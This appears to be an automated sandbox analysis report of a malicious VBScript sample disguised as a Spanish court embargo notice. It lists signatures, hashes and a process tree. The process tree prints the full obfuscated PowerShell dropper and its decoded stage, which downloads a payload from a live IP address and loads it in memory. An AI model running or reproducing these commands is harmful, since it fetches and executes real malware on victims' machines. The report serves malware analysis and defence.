Analysis
- max time kernel
149s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
25/09/2026, 09:15
General
- Target Oficio J2CM-2023-318-Embargo-Ej. 2023-00013.vbs
- Size 165KB
- Sample260925-k8d18stcmc
- SHA256 e3445c27b1951e8b94207f86e94187dcb89966f433f875f4d79ad71ab9962e4a
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://91.213.50.74//CRYPS/Q9/dll3f3.txt
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Oficio J2CM-2023-318-Embargo-Ej. 2023-00013.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒Bk▒G8▒Z▒Bk▒Gk▒I▒▒9▒C▒▒Jw▒w▒DM▒Jw▒7▒CQ▒cgB0▒GU▒dQB0▒C▒▒PQ▒g▒Cc▒JQBw▒Ho▒QQBj▒E8▒ZwBJ▒G4▒TQBy▒CU▒Jw▒7▒Fs▒QgB5▒HQ▒ZQBb▒F0▒XQ▒g▒CQ▒ZgBz▒HI▒bQBu▒C▒▒PQ▒g▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBD▒G8▒bgB2▒GU▒cgB0▒F0▒Og▒6▒EY▒cgBv▒G0▒QgBh▒HM▒ZQ▒2▒DQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒g▒Cg▒TgBl▒Hc▒LQBP▒GI▒agBl▒GM▒d▒▒g▒E4▒ZQB0▒C4▒VwBl▒GI▒QwBs▒Gk▒ZQBu▒HQ▒KQ▒u▒EQ▒bwB3▒G4▒b▒Bv▒GE▒Z▒BT▒HQ▒cgBp▒G4▒Zw▒o▒Cc▒a▒B0▒HQ▒c▒▒6▒C8▒Lw▒5▒DE▒Lg▒y▒DE▒Mw▒u▒DU▒M▒▒u▒Dc▒N▒▒v▒C8▒QwBS▒Fk▒U▒BT▒C8▒UQ▒5▒C8▒Z▒Bs▒Gw▒MwBm▒DM▒LgB0▒Hg▒d▒▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒ZgBz▒HI▒bQBu▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒E4▒bgBJ▒GE▒VQBx▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒HQ▒e▒B0▒C4▒VgBO▒EU▒QwBE▒C8▒bgBp▒GE▒bQ▒v▒HQ▒cwBw▒C8▒Mg▒y▒D▒▒MgBz▒G0▒YQBl▒HQ▒ZgBv▒HM▒LwBt▒G8▒Yw▒u▒HQ▒bgBl▒HQ▒bgBv▒GM▒cgBl▒HM▒dQBi▒HU▒a▒B0▒Gk▒Zw▒u▒Hc▒YQBy▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒cgB0▒GU▒dQB0▒C▒▒L▒▒g▒Cc▒VwBp▒G4▒Z▒Bv▒Hc▒cwBE▒GU▒ZgBl▒G4▒Z▒Bl▒HI▒Jw▒s▒C▒▒J▒Bk▒G8▒Z▒Bk▒Gk▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Oficio J2CM-2023-318-Embargo-Ej. 2023-00013.vbs');powershell -command $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$doddi = '03';$rteut = 'C:\Users\Admin\AppData\Local\Temp\Oficio J2CM-2023-318-Embargo-Ej. 2023-00013.vbs';[Byte[]] $fsrmn = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.213.50.74//CRYPS/Q9/dll3f3.txt'));[system.AppDomain]::CurrentDomain.Load($fsrmn).GetType('ClassLibrary3.Class1').GetMethod('NnIaUq').Invoke($null, [object[]] ('txt.VNECD/niam/tsp/2202smaetfos/moc.tnetnocresubuhtig.war//:sptth' , $rteut , 'WindowsDefender', $doddi, '1', 'Roda' ));"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_bqtakyjj.z1s.ps1
memory/676-0-0x0000011103E60000-0x0000011103E70000-memory.dmp
memory/676-1-0x0000011103E60000-0x0000011103E70000-memory.dmp
memory/676-3-0x000001111E290000-0x000001111E2B2000-memory.dmp